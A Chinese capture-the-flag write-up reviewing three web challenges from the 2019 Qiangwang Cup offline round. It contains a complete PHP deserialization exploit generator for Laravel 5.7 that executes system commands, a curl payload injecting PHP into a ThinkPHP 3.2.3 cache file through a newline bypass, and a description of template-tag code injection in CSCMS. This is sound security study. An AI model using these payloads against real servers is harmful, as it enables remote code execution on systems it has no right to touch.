本篇文章记录了2019强网杯线下赛中的3道Web题解,个人并未参加线下赛,仅复盘记录。题目下载:链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c
先通过如下命令将 Web 网站搭起来,通过查看 composer.json 文件可知该网站采用了 Laravel 5.7 版本框架。如果有关注过 Laravel 的漏洞,应该知道该版本的 Laravel 存在一个远程代码执行漏洞,我们继续看代码部分。
➜ laravel-5.7 composer install
➜ laravel-5.7 php -S 0.0.0.0:8000 -t public
框架的路由也不多,找到对应的控制器,发现明显是一个反序列化漏洞,估计就是利用反序列化进行代码执行了。
直接通过 CVE 就能找到相关漏洞分析文章,虽然作者删了原文,但是还是可以通过 google 快照找到 EXP 。
该漏洞主要是利用了 Illuminate\Foundation\Testing\PendingCommand 类的 run 方法来执行命令,具体漏洞的分析见下篇文章。我们可以构造 EXP 如下:
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('ls'),$genericuser,$application); echo urlencode(serialize($pendingcommand)); } ?>
将上述文件放在 public 目录下生成 EXP 即可,执行 ls 命令结果如下:
题目说明:
已经删除可用的install , admin, UpdateController.class.php和SettingController.class.php文件夹和文件,相关思路请不要尝试。
题目提供了源码,可以发现该 cms 基于 thinkcmf 二次开发,而 thinkcmf 用的就是 ThinkPHP 。
thinkcmf 有两个大分支,一个基于 ThinkPHP3 ,另一个基于 ThinkPHP5 ,所以我们要先查一下该 ThinkPHP 的版本。如下图所示,可以发现是其版本是 3.2.3 ,而这个版本的 ThinkPHP 最出名的 RCE 就属缓存设计缺陷 getshell 了,漏洞成因和 ThinkPHP5 版本的基本一样,详细分析可以参考: ThinkPHP5漏洞分析之代码执行(八) 。
为了确定该漏洞没有被人为修复,我们可以看一下缓存设计文件的代码。具体代码如下图所示,可以发现 第19行 代码将缓存数据写入 PHP文件中,虽然开头有注释符,但我们可以使用换行符( %0a
)绕过。
从 ThinkPHP3.2.3 开发手册可知,可以通过 S 方法进行数据缓存。
我们全局搜索一下哪些方法调用了 S 函数,会发现 thinkcmf 中的动态更新配置函数 sp_set_dynamic_config 似乎比较好利用,因为其将传入的 $data 变量和系统配置变量数组合并,并将合并数据写入缓存中。
我们继续搜索何处调用了 sp_set_dynamic_config 函数,会发现除了题目删掉的 admin、install 目录外,还有四处调用了该函数。其中只有第二个可以直接访问,其貌似都要登录。
所以我们根据 ThinkPHP3.2.3 的访问规则访问即可, payload 如下:
curl -d 'authoCode=%0aphpinfo();//' 'http://0.0.0.0:8000/index.php?g=api&m=oauth&a=injectionAuthocode'
这里的缓存文件名实际上就是缓存变量名的 md5 值,例如这题中 S("sp_dynamic_config",$configs)
对应的文件名就是 md5("sp_dynamic_config") 。
同样题目给了源码,提示说删了 admin 目录、 install.php ,于是上 CVE、CNVD、seebug 上搜了一下,没有发现有用的 RCE 漏洞。我们先从源码中搜集一些版本信息,可以看到该 CMS 用的是 CI 框架,版本为 3.1.3 , CMS 本身的版本为 4.1.75 。
➜ html grep -Rni 'version' cscms/config/sys/Cs_Version.php:4:define("CS_Version","4.1.75"); cscms/system/core/CodeIgniter.php:58: const CI_VERSION = '3.1.3';
我们可以上该 CMS 官网看一下更新日志,从中找寻漏洞点。如下图所示,可以看到该 CMS 存在 SSTI 漏洞,遂及将补丁下载下来分析。
补丁中主要有两个文件发生变化:
看样子,好像原先的 SSTI 漏洞是由于 GET、POST 引起的,因为这里并未发现对过滤规则的修改。其实这个 CMS 我第一眼看过去,和 海洋CMS、苹果CMS、DuomiCMS 有点像,而这几个 CMS 都存在模板标签注入导致代码执行的问题,那么我们尝试全局搜索一下 eval 函数。从搜索结果中,我们可以看出这个 CMS 的写法真的和前面提到的几个 CMS 很像,所谓的 SSTI 极有可能就是模板标签注入。
细看代码,我们会发现程序会将 {cscmsphp} 标签中包裹的代码当做 PHP 代码来执行。
于是随手试了一下,发现搜索处果然存在代码执行,就是不知道当时比赛的时候这个 dance 模块有没配置开放。
如果没有配置开放的话,还可以利用留言处注入 payload 。具体可以参考其他 writeup 。